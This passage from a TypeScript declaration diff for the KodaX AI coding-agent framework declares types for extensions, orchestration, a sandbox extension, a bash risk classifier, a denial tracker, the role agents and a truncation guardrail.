bindController(controller: BoundExtensionRuntimeController): () => void;
|
|
2413
|
+
dispose(): Promise<void>;
|
|
2414
|
+
loadExtensions(paths: string[], options?: ExtensionLoadOptions): Promise<void>;
|
|
2415
|
+
loadExtension(extensionPath: string, options?: ExtensionLoadOptions): Promise<void>;
|
|
2416
|
+
reloadExtensions(options?: Pick<ExtensionLoadOptions, 'continueOnError'>): Promise<void>;
|
|
2417
|
+
listCapabilityProviders(): CapabilityProvider[];
|
|
2418
|
+
registerCapabilityProvider(provider: CapabilityProvider, options?: {
|
|
2419
|
+
source?: ExtensionContributionSource;
|
|
2420
|
+
}): () => void;
|
|
2421
|
+
registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
|
|
2422
|
+
registerHook<THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook], options?: {
|
|
2423
|
+
source?: ExtensionContributionSource;
|
|
2424
|
+
}): () => void;
|
|
2425
|
+
on<TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void, options?: {
|
|
2426
|
+
source?: ExtensionContributionSource;
|
|
2427
|
+
}): () => void;
|
|
2428
|
+
listCommands(): ExtensionCommandDefinition[];
|
|
2429
|
+
getCommand(name: string): ExtensionCommandDefinition | undefined;
|
|
2430
|
+
getDiagnostics(): ExtensionRuntimeDiagnostics;
|
|
2431
|
+
getCapabilityProvider(providerId: string): CapabilityProvider | undefined;
|
|
2432
|
+
searchCapabilities(providerId: string, query: string, options?: {
|
|
2433
|
+
kind?: CapabilityProvider['kinds'][number];
|
|
2434
|
+
limit?: number;
|
|
2435
|
+
server?: string;
|
|
2436
|
+
}): Promise<unknown[]>;
|
|
2437
|
+
describeCapability(providerId: string, capabilityId: string): Promise<unknown>;
|
|
2438
|
+
executeCapability(providerId: string, capabilityId: string, input: Record<string, unknown>): Promise<CapabilityResult>;
|
|
2439
|
+
readCapability(providerId: string, capabilityId: string, options?: Record<string, unknown>): Promise<CapabilityResult>;
|
|
2440
|
+
getCapabilityPrompt(providerId: string, capabilityId: string, args?: Record<string, unknown>): Promise<unknown>;
|
|
2441
|
+
getCapabilityPromptContext(providerId: string): Promise<string | undefined>;
|
|
2442
|
+
refreshCapabilityProviders(providerId?: string): Promise<void>;
|
|
2443
|
+
hydrateSession(sessionId: string): Promise<void>;
|
|
2444
|
+
emit<TEvent extends keyof ExtensionEventMap>(event: TEvent, payload: ExtensionEventMap[TEvent]): Promise<void>;
|
|
2445
|
+
runHook<THook extends keyof ExtensionHookMap>(hook: THook, payload: Parameters<ExtensionHookMap[THook]>[0]): Promise<Awaited<ReturnType<ExtensionHookMap[THook]>> | undefined>;
|
|
2446
|
+
private createExtensionSource;
|
|
2447
|
+
private createRuntimeSource;
|
|
2448
|
+
private recordFailure;
|
|
2449
|
+
private createExtensionApi;
|
|
2450
|
+
private createLogger;
|
|
2451
|
+
private createRuntimeControllerProxy;
|
|
2452
|
+
private createExtensionApiRuntimeController;
|
|
2453
|
+
private registerRecord;
|
|
2454
|
+
private registerEventHandler;
|
|
2455
|
+
private registerHookHandler;
|
|
2456
|
+
private unloadExtension;
|
|
2457
|
+
private importExtensionModule;
|
|
2458
|
+
}
|
|
2459
|
+
declare function createExtensionRuntime(options?: {
|
|
2460
|
+
config?: Readonly<Record<string, unknown>>;
|
|
2461
|
+
}): KodaXExtensionRuntime;
|
|
2462
|
+
declare function setActiveExtensionRuntime(runtime: KodaXExtensionRuntime | null): void;
|
|
2463
|
+
declare function getActiveExtensionRuntime(): KodaXExtensionRuntime | null;
|
|
2464
|
+
|
|
2465
|
+
/**
|
|
2466
|
+
* Coding-runtime adapter: registers an `McpCapabilityProvider` (from
|
|
2467
|
+
* `@kodax-ai/mcp`) against the coding-specific `KodaXExtensionRuntime`.
|
|
2468
|
+
*
|
|
2469
|
+
* FEATURE_082 (v0.7.24): split out of the old
|
|
2470
|
+
* `capabilities/providers/mcp/provider.ts`. The provider class now lives in
|
|
2471
|
+
* `@kodax-ai/mcp` and stays free of any coding runtime dependency; this file
|
|
2472
|
+
* is the thin bridge that wires the provider into the coding extension
|
|
2473
|
+
* runtime.
|
|
2474
|
+
*/
|
|
2475
|
+
|
|
2476
|
+
declare function registerConfiguredMcpCapabilityProvider(runtime: KodaXExtensionRuntime, servers: McpServersConfig | undefined, options?: McpProviderOptions): Promise<McpCapabilityProvider | undefined>;
|
|
2477
|
+
|
|
2478
|
+
type OfficialSandboxMode = 'enforced' | 'best_effort';
|
|
2479
|
+
interface OfficialSandboxOptions {
|
|
2480
|
+
workspaceRoot: string;
|
|
2481
|
+
mode?: OfficialSandboxMode;
|
|
2482
|
+
}
|
|
2483
|
+
declare function registerOfficialSandboxExtension(runtime: KodaXExtensionRuntime, options: OfficialSandboxOptions): () => void;
|
|
2484
|
+
|
|
2485
|
+
type OrchestrationTaskExecution = 'serial' | 'parallel';
|
|
2486
|
+
type OrchestrationTaskStatus = 'completed' | 'failed' | 'blocked';
|
|
2487
|
+
interface OrchestrationTaskBudget {
|
|
2488
|
+
maxIter?: number;
|
|
2489
|
+
reasoningMode?: KodaXReasoningMode;
|
|
2490
|
+
thinking?: boolean;
|
|
2491
|
+
}
|
|
2492
|
+
interface OrchestrationArtifact {
|
|
2493
|
+
kind: 'json' | 'text' | 'markdown';
|
|
2494
|
+
path: string;
|
|
2495
|
+
description?: string;
|
|
2496
|
+
}
|
|
2497
|
+
interface OrchestrationWorkerSpec<TInput = unknown> {
|
|
2498
|
+
id: string;
|
|
2499
|
+
title: string;
|
|
2500
|
+
input?: TInput;
|
|
2501
|
+
dependsOn?: string[];
|
|
2502
|
+
execution?: OrchestrationTaskExecution;
|
|
2503
|
+
timeoutMs?: number;
|
|
2504
|
+
budget?: OrchestrationTaskBudget;
|
|
2505
|
+
agent?: string;
|
|
2506
|
+
metadata?: Record<string, unknown>;
|
|
2507
|
+
beforeToolExecute?: KodaXEvents['beforeToolExecute'];
|
|
2508
|
+
}
|
|
2509
|
+
interface OrchestrationWorkerResult<TOutput = unknown> {
|
|
2510
|
+
success: boolean;
|
|
2511
|
+
output?: TOutput;
|
|
2512
|
+
summary?: string;
|
|
2513
|
+
error?: string;
|
|
2514
|
+
metadata?: Record<string, unknown>;
|
|
2515
|
+
artifacts?: OrchestrationArtifact[];
|
|
2516
|
+
}
|
|
2517
|
+
interface OrchestrationCompletedTask<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
|
|
2518
|
+
id: string;
|
|
2519
|
+
title: string;
|
|
2520
|
+
task: TTask;
|
|
2521
|
+
status: OrchestrationTaskStatus;
|
|
2522
|
+
taskDir: string;
|
|
2523
|
+
startedAt: string;
|
|
2524
|
+
completedAt: string;
|
|
2525
|
+
durationMs: number;
|
|
2526
|
+
result: OrchestrationWorkerResult<TOutput>;
|
|
2527
|
+
}
|
|
2528
|
+
interface OrchestrationTaskContext<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
|
|
2529
|
+
runId: string;
|
|
2530
|
+
workspaceDir: string;
|
|
2531
|
+
taskDir: string;
|
|
2532
|
+
dependencyResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
|
|
2533
|
+
emit: (message: string) => Promise<void>;
|
|
2534
|
+
signal?: AbortSignal;
|
|
2535
|
+
}
|
|
2536
|
+
type OrchestrationWorkerRunner<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> = (task: TTask, context: OrchestrationTaskContext<TTask, TOutput>) => Promise<OrchestrationWorkerResult<TOutput>>;
|
|
2537
|
+
/**
|
|
2538
|
+
* Trace event emitted by `runOrchestration` while stepping through a task DAG
|
|
2539
|
+
* (run/task start/message/complete/failed/blocked). Persisted as JSONL via
|
|
2540
|
+
* `appendTrace` to `{workspaceDir}/orchestration-trace.jsonl`.
|
|
2541
|
+
*
|
|
2542
|
+
* @deprecated FEATURE_083 (v0.7.24) originally superseded this by
|
|
2543
|
+
* `AgentSpan` / `HandoffSpan` in `@kodax-ai/tracing`. **FEATURE_086 (v0.7.27)
|
|
2544
|
+
* evaluated removal and kept it**: AgentSpan is scoped to a single Runner
|
|
2545
|
+
* lifecycle, whereas OrchestrationTraceEvent spans across Tasks scheduled
|
|
2546
|
+
* by `runOrchestration` — no cross-task span equivalent exists yet, and
|
|
2547
|
+
* `runOrchestration` + this type are part of the `@kodax-ai/coding` public
|
|
2548
|
+
* surface. The `@deprecated` tag is kept as a signal that new code
|
|
2549
|
+
* targeting in-Runner tracing should prefer `@kodax-ai/tracing` spans;
|
|
2550
|
+
* cross-task orchestration code is free to continue using this event.
|
|
2551
|
+
*/
|
|
2552
|
+
interface OrchestrationTraceEvent {
|
|
2553
|
+
type: 'run_started' | 'task_started' | 'task_message' | 'task_completed' | 'task_failed' | 'task_blocked' | 'run_completed';
|
|
2554
|
+
timestamp: string;
|
|
2555
|
+
runId: string;
|
|
2556
|
+
taskId?: string;
|
|
2557
|
+
message?: string;
|
|
2558
|
+
status?: OrchestrationTaskStatus;
|
|
2559
|
+
metadata?: Record<string, unknown>;
|
|
2560
|
+
}
|
|
2561
|
+
interface OrchestrationRunEvents<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
|
|
2562
|
+
onRunStart?: (info: {
|
|
2563
|
+
runId: string;
|
|
2564
|
+
workspaceDir: string;
|
|
2565
|
+
taskCount: number;
|
|
2566
|
+
}) => void | Promise<void>;
|
|
2567
|
+
onTaskStart?: (task: TTask) => void | Promise<void>;
|
|
2568
|
+
onTaskMessage?: (task: TTask, message: string) => void | Promise<void>;
|
|
2569
|
+
onTaskComplete?: (task: TTask, completed: OrchestrationCompletedTask<TTask, TOutput>) => void | Promise<void>;
|
|
2570
|
+
onRunComplete?: (result: OrchestrationRunResult<TTask, TOutput>) => void | Promise<void>;
|
|
2571
|
+
}
|
|
2572
|
+
interface OrchestrationRunOptions<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
|
|
2573
|
+
tasks: TTask[];
|
|
2574
|
+
workspaceDir: string;
|
|
2575
|
+
runner: OrchestrationWorkerRunner<TTask, TOutput>;
|
|
2576
|
+
runId?: string;
|
|
2577
|
+
maxParallel?: number;
|
|
2578
|
+
signal?: AbortSignal;
|
|
2579
|
+
events?: OrchestrationRunEvents<TTask, TOutput>;
|
|
2580
|
+
}
|
|
2581
|
+
interface OrchestrationRunResult<TTask extends OrchestrationWorkerSpec = OrchestrationWorkerSpec, TOutput = unknown> {
|
|
2582
|
+
runId: string;
|
|
2583
|
+
workspaceDir: string;
|
|
2584
|
+
tasks: Array<OrchestrationCompletedTask<TTask, TOutput>>;
|
|
2585
|
+
taskResults: Record<string, OrchestrationCompletedTask<TTask, TOutput>>;
|
|
2586
|
+
summary: {
|
|
2587
|
+
total: number;
|
|
2588
|
+
completed: number;
|
|
2589
|
+
failed: number;
|
|
2590
|
+
blocked: number;
|
|
2591
|
+
};
|
|
2592
|
+
}
|
|
2593
|
+
interface KodaXAgentWorkerSpec extends OrchestrationWorkerSpec<string> {
|
|
2594
|
+
prompt: string;
|
|
2595
|
+
provider?: string;
|
|
2596
|
+
model?: string;
|
|
2597
|
+
}
|
|
2598
|
+
interface CreateKodaXTaskRunnerOptions<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec> {
|
|
2599
|
+
baseOptions: KodaXOptions;
|
|
2600
|
+
runAgent?: (options: KodaXOptions, prompt: string) => Promise<KodaXResult>;
|
|
2601
|
+
rateLimit?: <T>(operation: () => Promise<T>) => Promise<T>;
|
|
2602
|
+
buildPrompt?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => string;
|
|
2603
|
+
createEvents?: (task: TTask, context: OrchestrationTaskContext<TTask, string>) => KodaXEvents;
|
|
2604
|
+
createOptions?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, defaultOptions: KodaXOptions) => KodaXOptions;
|
|
2605
|
+
onResult?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, result: KodaXResult) => KodaXResult | void | Promise<KodaXResult | void>;
|
|
2606
|
+
runTask?: (task: TTask, context: OrchestrationTaskContext<TTask, string>, preparedOptions: KodaXOptions, prompt: string, executeDefault: () => Promise<KodaXResult>) => Promise<KodaXResult>;
|
|
2607
|
+
}
|
|
2608
|
+
declare function runOrchestration<TTask extends OrchestrationWorkerSpec, TOutput = unknown>(options: OrchestrationRunOptions<TTask, TOutput>): Promise<OrchestrationRunResult<TTask, TOutput>>;
|
|
2609
|
+
declare function createKodaXTaskRunner<TTask extends KodaXAgentWorkerSpec = KodaXAgentWorkerSpec>(options: CreateKodaXTaskRunnerOptions<TTask>): OrchestrationWorkerRunner<TTask, string>;
|
|
2610
|
+
|
|
2611
|
+
/**
|
|
2612
|
+
* KodaX Parallel Task Dispatch
|
|
2613
|
+
*
|
|
2614
|
+
* Enables Scout to dispatch independent subtasks in parallel via runOrchestration.
|
|
2615
|
+
* This is the minimal viable slice of #92 (Team Agent).
|
|
2616
|
+
*/
|
|
2617
|
+
interface ParallelSubtask {
|
|
2618
|
+
readonly id: string;
|
|
2619
|
+
readonly description: string;
|
|
2620
|
+
readonly prompt: string;
|
|
2621
|
+
}
|
|
2622
|
+
interface ParallelDispatchDirective {
|
|
2623
|
+
readonly type: 'parallel_dispatch';
|
|
2624
|
+
readonly subtasks: readonly ParallelSubtask[];
|
|
2625
|
+
readonly reason: string;
|
|
2626
|
+
}
|
|
2627
|
+
interface ParallelDispatchResult {
|
|
2628
|
+
readonly tasks: readonly {
|
|
2629
|
+
readonly id: string;
|
|
2630
|
+
readonly description: string;
|
|
2631
|
+
readonly status: 'completed' | 'failed';
|
|
2632
|
+
readonly summary: string;
|
|
2633
|
+
readonly durationMs: number;
|
|
2634
|
+
}[];
|
|
2635
|
+
readonly overallSummary: string;
|
|
2636
|
+
readonly totalDurationMs: number;
|
|
2637
|
+
}
|
|
2638
|
+
/**
|
|
2639
|
+
* Check if a Scout directive indicates parallel dispatch.
|
|
2640
|
+
*/
|
|
2641
|
+
declare function isParallelDispatchDirective(directive: unknown): directive is ParallelDispatchDirective;
|
|
2642
|
+
/**
|
|
2643
|
+
* Format parallel dispatch results into a user-facing summary.
|
|
2644
|
+
*/
|
|
2645
|
+
declare function formatParallelDispatchResult(result: ParallelDispatchResult): string;
|
|
2646
|
+
/**
|
|
2647
|
+
* Validate that subtasks are independent (basic heuristic check).
|
|
2648
|
+
* Returns null if valid, or an error message if not.
|
|
2649
|
+
*/
|
|
2650
|
+
declare function validateSubtaskIndependence(subtasks: readonly ParallelSubtask[]): string | null;
|
|
2651
|
+
|
|
2652
|
+
/**
|
|
2653
|
+
* KodaX Bash Command Risk Classifier
|
|
2654
|
+
*
|
|
2655
|
+
* Classifies bash commands into safe/normal/dangerous risk levels.
|
|
2656
|
+
* Pure function, no side effects.
|
|
2657
|
+
*/
|
|
2658
|
+
type BashRiskLevel = 'safe' | 'normal' | 'dangerous';
|
|
2659
|
+
interface BashClassificationResult {
|
|
2660
|
+
readonly level: BashRiskLevel;
|
|
2661
|
+
readonly reason: string;
|
|
2662
|
+
readonly matchedPattern?: string;
|
|
2663
|
+
}
|
|
2664
|
+
interface BashClassifierConfig {
|
|
2665
|
+
readonly safePatterns: readonly RegExp[];
|
|
2666
|
+
readonly dangerousPatterns: readonly RegExp[];
|
|
2667
|
+
}
|
|
2668
|
+
declare const DEFAULT_SAFE_PATTERNS: readonly RegExp[];
|
|
2669
|
+
declare const DEFAULT_DANGEROUS_PATTERNS: readonly RegExp[];
|
|
2670
|
+
declare function createBashClassifierConfig(userSafePatterns?: readonly string[], userDangerousPatterns?: readonly string[]): BashClassifierConfig;
|
|
2671
|
+
declare function classifyBashCommand(command: string, config?: BashClassifierConfig): BashClassificationResult;
|
|
2672
|
+
|
|
2673
|
+
/**
|
|
2674
|
+
* KodaX Denial Tracker - Immutable session-scoped tool denial tracking
|
|
2675
|
+
*
|
|
2676
|
+
* Tracks user permission denials to avoid re-prompting for the same operation.
|
|
2677
|
+
* Provides denial context for injection into agent messages.
|
|
2678
|
+
*/
|
|
2679
|
+
interface DenialRecord {
|
|
2680
|
+
readonly toolName: string;
|
|
2681
|
+
readonly inputSignature: string;
|
|
2682
|
+
readonly timestamp: number;
|
|
2683
|
+
readonly reason?: string;
|
|
2684
|
+
}
|
|
2685
|
+
interface DenialTracker {
|
|
2686
|
+
readonly records: readonly DenialRecord[];
|
|
2687
|
+
}
|
|
2688
|
+
declare function createDenialTracker(): DenialTracker;
|
|
2689
|
+
/**
|
|
2690
|
+
* Compute a normalized signature for a tool input.
|
|
2691
|
+
* - bash: first 3 tokens of the command
|
|
2692
|
+
* - edit/write/read: file path
|
|
2693
|
+
* - other: tool name + hash prefix
|
|
2694
|
+
*/
|
|
2695
|
+
declare function computeInputSignature(toolName: string, input: Record<string, unknown>): string;
|
|
2696
|
+
declare function recordDenial(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, reason?: string): DenialTracker;
|
|
2697
|
+
declare function isDeniedRecently(tracker: DenialTracker, toolName: string, input: Record<string, unknown>, ttl?: number): boolean;
|
|
2698
|
+
/**
|
|
2699
|
+
* Generate a denial context string for injection into agent messages.
|
|
2700
|
+
* Tells the LLM what was denied so it can adjust its strategy.
|
|
2701
|
+
*/
|
|
2702
|
+
declare function getDenialContext(tracker: DenialTracker): string;
|
|
2703
|
+
|
|
2704
|
+
/**
|
|
2705
|
+
* Placeholder Agent declarations for the coding-AMA H2 task-engine roles
|
|
2706
|
+
* (Scout / Planner / Generator / Evaluator).
|
|
2707
|
+
*
|
|
2708
|
+
* FEATURE_080 (v0.7.23): these declarations exist so the role identities
|
|
2709
|
+
* are represented as Layer A `Agent` data, which downstream features need:
|
|
2710
|
+
*
|
|
2711
|
+
* - FEATURE_084 (v0.7.26): runtime rewrite of Scout/Planner/Generator/
|
|
2712
|
+
* Evaluator on top of `Runner` consumes these declarations as the
|
|
2713
|
+
* source of truth for role metadata.
|
|
2714
|
+
* - FEATURE_078 (v0.7.29): reasoning profiles attach to the `reasoning`
|
|
2715
|
+
* field on these declarations.
|
|
2716
|
+
* - FEATURE_087+ self-construction: Agent-as-data means role specs can
|
|
2717
|
+
* be serialized, versioned, and mutated.
|
|
2718
|
+
*
|
|
2719
|
+
* Runtime note: **no preset dispatcher is registered for these agents**.
|
|
2720
|
+
* They are declarative placeholders. `Runner.run(scoutAgent, ...)` without
|
|
2721
|
+
* an `opts.llm` callback will throw the generic "no dispatcher" error;
|
|
2722
|
+
* that's intentional — the current task-engine executes these roles via
|
|
2723
|
+
* its existing internal flow, not through `Runner`. FEATURE_084 wires the
|
|
2724
|
+
* Runner runtime to these declarations.
|
|
2725
|
+
*
|
|
2726
|
+
* `instructions` strings here are short identifier-level summaries — the
|
|
2727
|
+
* full role prompts live in
|
|
2728
|
+
* `packages/coding/src/task-engine/_internal/prompts/role-prompt.ts` (the
|
|
2729
|
+
* FEATURE_079 extraction) and are loaded by the existing code path.
|
|
2730
|
+
*
|
|
2731
|
+
* v0.7.35.1 FEATURE_142 (A-R1): moved from `@kodax-ai/agent/src/primitives/`
|
|
2732
|
+
* back to `@kodax-ai/coding/src/agents/`. These role declarations are
|
|
2733
|
+
* coding-AMA-specific (Scout / Planner / Generator / Evaluator are the
|
|
2734
|
+
* H2 state-machine roles, not generic Agent platform primitives). Per
|
|
2735
|
+
* ADR-021, the universal `@kodax-ai/agent` framework must not predeclare
|
|
2736
|
+
* coding's H2 role identities.
|
|
2737
|
+
*/
|
|
2738
|
+
|
|
2739
|
+
declare const SCOUT_AGENT_NAME = "kodax/role/scout";
|
|
2740
|
+
declare const PLANNER_AGENT_NAME = "kodax/role/planner";
|
|
2741
|
+
declare const GENERATOR_AGENT_NAME = "kodax/role/generator";
|
|
2742
|
+
declare const EVALUATOR_AGENT_NAME = "kodax/role/evaluator";
|
|
2743
|
+
/**
|
|
2744
|
+
* Scout role declaration. Scout is the AMA entry point that both judges
|
|
2745
|
+
* task complexity and executes the H0 direct case; on H1/H2 it hands off
|
|
2746
|
+
* to Generator or Planner (see FEATURE_061).
|
|
2747
|
+
*/
|
|
2748
|
+
declare const scoutAgent: Agent;
|
|
2749
|
+
/**
|
|
2750
|
+
* Planner role declaration. Produces an execution plan consumed by
|
|
2751
|
+
* Generator in the H2 harness.
|
|
2752
|
+
*/
|
|
2753
|
+
declare const plannerAgent: Agent;
|
|
2754
|
+
/**
|
|
2755
|
+
* Generator role declaration. Performs the actual code changes /
|
|
2756
|
+
* investigations in both H1 and H2 harnesses.
|
|
2757
|
+
*/
|
|
2758
|
+
declare const generatorAgent: Agent;
|
|
2759
|
+
/**
|
|
2760
|
+
* Evaluator role declaration. Lightweight verifier in H1, structured
|
|
2761
|
+
* revise/replan gate in H2.
|
|
2762
|
+
*/
|
|
2763
|
+
declare const evaluatorAgent: Agent;
|
|
2764
|
+
/** All four placeholder role agents, exposed for iteration in downstream features. */
|
|
2765
|
+
declare const TASK_ENGINE_ROLE_AGENTS: Readonly<{
|
|
2766
|
+
readonly scout: Agent<unknown>;
|
|
2767
|
+
readonly planner: Agent<unknown>;
|
|
2768
|
+
readonly generator: Agent<unknown>;
|
|
2769
|
+
readonly evaluator: Agent<unknown>;
|
|
2770
|
+
}>;
|
|
2771
|
+
|
|
2772
|
+
/**
|
|
2773
|
+
* Default coding agent preset (FEATURE_080 → FEATURE_100).
|
|
2774
|
+
*
|
|
2775
|
+
* History:
|
|
2776
|
+
* v0.7.23 (FEATURE_080) introduced "Option Y": a `registerPresetDispatcher`
|
|
2777
|
+
* indirection that wrapped `runKodaX` so `Runner.run(defaultCodingAgent, …)`
|
|
2778
|
+
* appeared SDK-native while the body stayed on the legacy path. The trade-off
|
|
2779
|
+
* was deliberate parity insurance during the Layer-A primitives rollout.
|
|
2780
|
+
*
|
|
2781
|
+
* v0.7.29 (FEATURE_100) deletes Option Y per ADR-020. The substrate executor
|
|
2782
|
+
* is attached directly to the Agent declaration via `Agent.substrateExecutor`
|
|
2783
|
+
* (an Agent field added in this version), and `Runner.run` consults that
|
|
2784
|
+
* field before any registry lookup. No `registerPresetDispatcher` call is
|
|
2785
|
+
* made any more, so `Runner.run(createDefaultCodingAgent(), …)` and
|
|
2786
|
+
* `runKodaX(opts, prompt)` (now a thin `Runner.run` wrapper in `agent.ts`)
|
|
2787
|
+
* share one execution path.
|
|
2788
|
+
*
|
|
2789
|
+
* This file stays in `@kodax-ai/coding` because the substrate executor closure
|
|
2790
|
+
* imports `runSubstrate` from `agent-runtime/run-substrate.ts`. Importing
|
|
2791
|
+
* `@kodax-ai/core` alone never loads the substrate body.
|
|
2792
|
+
*/
|
|
2793
|
+
|
|
2794
|
+
/** Stable name used as the dispatch key for the built-in coding preset. */
|
|
2795
|
+
declare const DEFAULT_CODING_AGENT_NAME = "kodax/coding/default";
|
|
2796
|
+
/**
|
|
2797
|
+
* Construct the default coding Agent declaration. SDK consumers may write
|
|
2798
|
+
* `Runner.run(createDefaultCodingAgent(), prompt, { presetOptions })` and
|
|
2799
|
+
* the Runner will execute the substrate via `Agent.substrateExecutor`.
|
|
2800
|
+
*
|
|
2801
|
+
* `overrides` lets callers attach additional declarative fields
|
|
2802
|
+
* (e.g. custom `reasoning` profile, extra `guardrails`, custom
|
|
2803
|
+
* `provider`/`model`); these are preserved on the Agent and may be
|
|
2804
|
+
* consumed by the substrate executor through `presetOptions`.
|
|
2805
|
+
*/
|
|
2806
|
+
declare function createDefaultCodingAgent(overrides?: Partial<Omit<Agent, 'name' | 'instructions'>>): Agent;
|
|
2807
|
+
|
|
2808
|
+
/**
|
|
2809
|
+
* Coding Agent declarations — FEATURE_084 (v0.7.26).
|
|
2810
|
+
*
|
|
2811
|
+
* **These are declarative references exposing the canonical Scout /
|
|
2812
|
+
* Planner / Generator / Evaluator topology to SDK consumers.** Each
|
|
2813
|
+
* exported Agent carries the role's emit tool + the H0/H1/H2 handoff
|
|
2814
|
+
* graph, but carries ONLY a short identifier `instructions` string and
|
|
2815
|
+
* NO coding tools (read / grep / bash / write / edit / etc.).
|
|
2816
|
+
*
|
|
2817
|
+
* **The runtime agents are built fresh by
|
|
2818
|
+
* `task-engine/runner-driven.ts::buildRunnerAgentChain` on every run**,
|
|
2819
|
+
* with:
|
|
2820
|
+
* - full v0.7.22-parity `instructions` via
|
|
2821
|
+
* `_internal/managed-task/role-prompt.ts::createRolePrompt` (dynamic
|
|
2822
|
+
* closure resolving decision / contract / metadata / verification /
|
|
2823
|
+
* tool-policy / evidence-strategy / dispatch guidance per turn)
|
|
2824
|
+
* - per-run coding tools (read / grep / glob / bash / write / edit /
|
|
2825
|
+
* dispatch_child_task) wrapped with budget + mutation tracking +
|
|
2826
|
+
* progress reporting
|
|
2827
|
+
* - recorder-wrapped emit tools that drive the budget-extension
|
|
2828
|
+
* dialog + degraded-continue logic
|
|
2829
|
+
*
|
|
2830
|
+
* So these exports are **useful as topology documentation and as a
|
|
2831
|
+
* starting point for custom Runner invocations** (e.g. Runner.run with
|
|
2832
|
+
* your own llm adapter), but they are NOT the agents that run under
|
|
2833
|
+
* normal AMA dispatch. Do not expect wrapping `scoutCodingAgent` to
|
|
2834
|
+
* give you the behaviour of an in-SDK AMA run — for that, use
|
|
2835
|
+
* `runManagedTaskViaRunner` or the preset dispatcher on
|
|
2836
|
+
* `createDefaultCodingAgent`.
|
|
2837
|
+
*/
|
|
2838
|
+
|
|
2839
|
+
/** Marker exported for tests and for future binding sites in Shard 5. */
|
|
2840
|
+
declare const CODING_AGENT_MARKER: "kodax-coding-agent@0.7.26";
|
|
2841
|
+
declare const scoutCodingAgent: Agent;
|
|
2842
|
+
declare const plannerCodingAgent: Agent;
|
|
2843
|
+
declare const generatorCodingAgent: Agent;
|
|
2844
|
+
declare const evaluatorCodingAgent: Agent;
|
|
2845
|
+
/**
|
|
2846
|
+
* Topology record — iterable form of the four coding agents. Shard 5's
|
|
2847
|
+
* Runner-driven dispatcher uses this as the agent lookup.
|
|
2848
|
+
*/
|
|
2849
|
+
declare const CODING_AGENTS: Readonly<{
|
|
2850
|
+
readonly scout: Agent<unknown>;
|
|
2851
|
+
readonly planner: Agent<unknown>;
|
|
2852
|
+
readonly generator: Agent<unknown>;
|
|
2853
|
+
readonly evaluator: Agent<unknown>;
|
|
2854
|
+
}>;
|
|
2855
|
+
|
|
2856
|
+
/**
|
|
2857
|
+
* Adapter: wrap `applyToolResultGuardrail` (the existing per-tool truncation
|
|
2858
|
+
* policy) as a Layer A `ToolGuardrail.afterTool`.
|
|
2859
|
+
*
|
|
2860
|
+
* FEATURE_085 (v0.7.26): the tri-layer Guardrail runtime lives in
|
|
2861
|
+
* `@kodax-ai/core`. The existing truncation logic in `tool-result-policy.ts`
|
|
2862
|
+
* predates that runtime and targets `KodaXToolExecutionContext`. Rather
|
|
2863
|
+
* than merge the two, we expose an adapter that coding consumers can
|
|
2864
|
+
* register when driving a Runner through the generic path — the adapter
|
|
2865
|
+
* preserves byte-exact truncation behaviour while participating in the
|
|
2866
|
+
* new Guardrail lifecycle (Span emission, declaration-order composition).
|
|
2867
|
+
*
|
|
2868
|
+
* **Not** registered by default. Consumers opt in via
|
|
2869
|
+
* `Runner.run(agent, input, { guardrails: [createToolResultTruncationGuardrail(ctx)] })`.
|
|
2870
|
+
* The built-in `runKodaX` preset dispatcher continues to call
|
|
2871
|
+
* `applyToolResultGuardrail` directly — no behavioural change there.
|
|
2872
|
+
*/
|
|
2873
|
+
|
|
2874
|
+
declare const TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME = "tool-result-truncation";
|
|
2875
|
+
/**
|
|
2876
|
+
* Create a `ToolGuardrail` that delegates to `applyToolResultGuardrail` in
|
|
2877
|
+
* its `afterTool` hook. The returned guardrail does not touch the call
|
|
2878
|
+
* going in (no `beforeTool`).
|
|
2879
|
+
*
|
|
2880
|
+
* @param ctx The coding-layer execution context that
|
|
2881
|
+
* `applyToolResultGuardrail` needs (mutation tracker, persistence dir,
|
|
2882
|
+
* etc.). Typically created alongside the `KodaXOptions` for the run.
|
|
2883
|
+
*/
|
|
2884
|
+
declare function createToolResultTruncationGuardrail(ctx: KodaXToolExecutionContext): ToolGuardrail;
|
|
2885
|
+
|
|
2886
|
+
/**
|
|
2887
|
+
* KodaX Constructed-World types (FEATURE_087, v0.7.28).
|
|
2888
|
+
*
|
|
2889
|
+
* Runtime-generated capabilities (tools / agents / skills / ...) live in
|
|
2890
|
+
* `.kodax/constructed/` and are loaded into the same registries as builtin
|
|
2891
|
+
* primitives. v0.7.28 only ships tool generation (FEATURE_088); other kinds
|
|
2892
|
+
* land in FEATURE_089 / FEATURE_090.
|
|
2893
|
+
*
|
|
2894
|
+
* Cross-references:
|
|
2895
|
+
* - DD §14 — lifecycle, security model, registry merge semantics.
|
|
2896
|
+
* - docs/features/v0.7.28.md — capability schema, generation flow.
|
|
2897
|
+
*/
|
|
2898
|
+
/**
|
|
2899
|
+
* Handler script source. v0.7.28 limits language to `'javascript'` so that
|
|
2900
|
+
* `loadHandler()` can `await import()` the file directly without an
|
|
2901
|
+
* intermediate TS → JS compile step (no esbuild / tsx dependency).
|
|
2902
|
+
*
|
|
2903
|
+
* TypeScript handlers are explicitly out of scope; Coding Agent generates
|
|
2904
|
+
* JS strings on the wire.
|
|
2905
|
+
*/
|
|
2906
|
+
interface ScriptSource {
|
|
2907
|
+
readonly kind: 'script';
|
|
2908
|
+
readonly language: 'javascript';
|
|
2909
|
+
readonly code: string;
|
|
2910
|
+
}
|
|
2911
|
+
/**
|
|
2912
|
+
* Capability declaration.
|
|
2913
|
+
*
|
|
2914
|
+
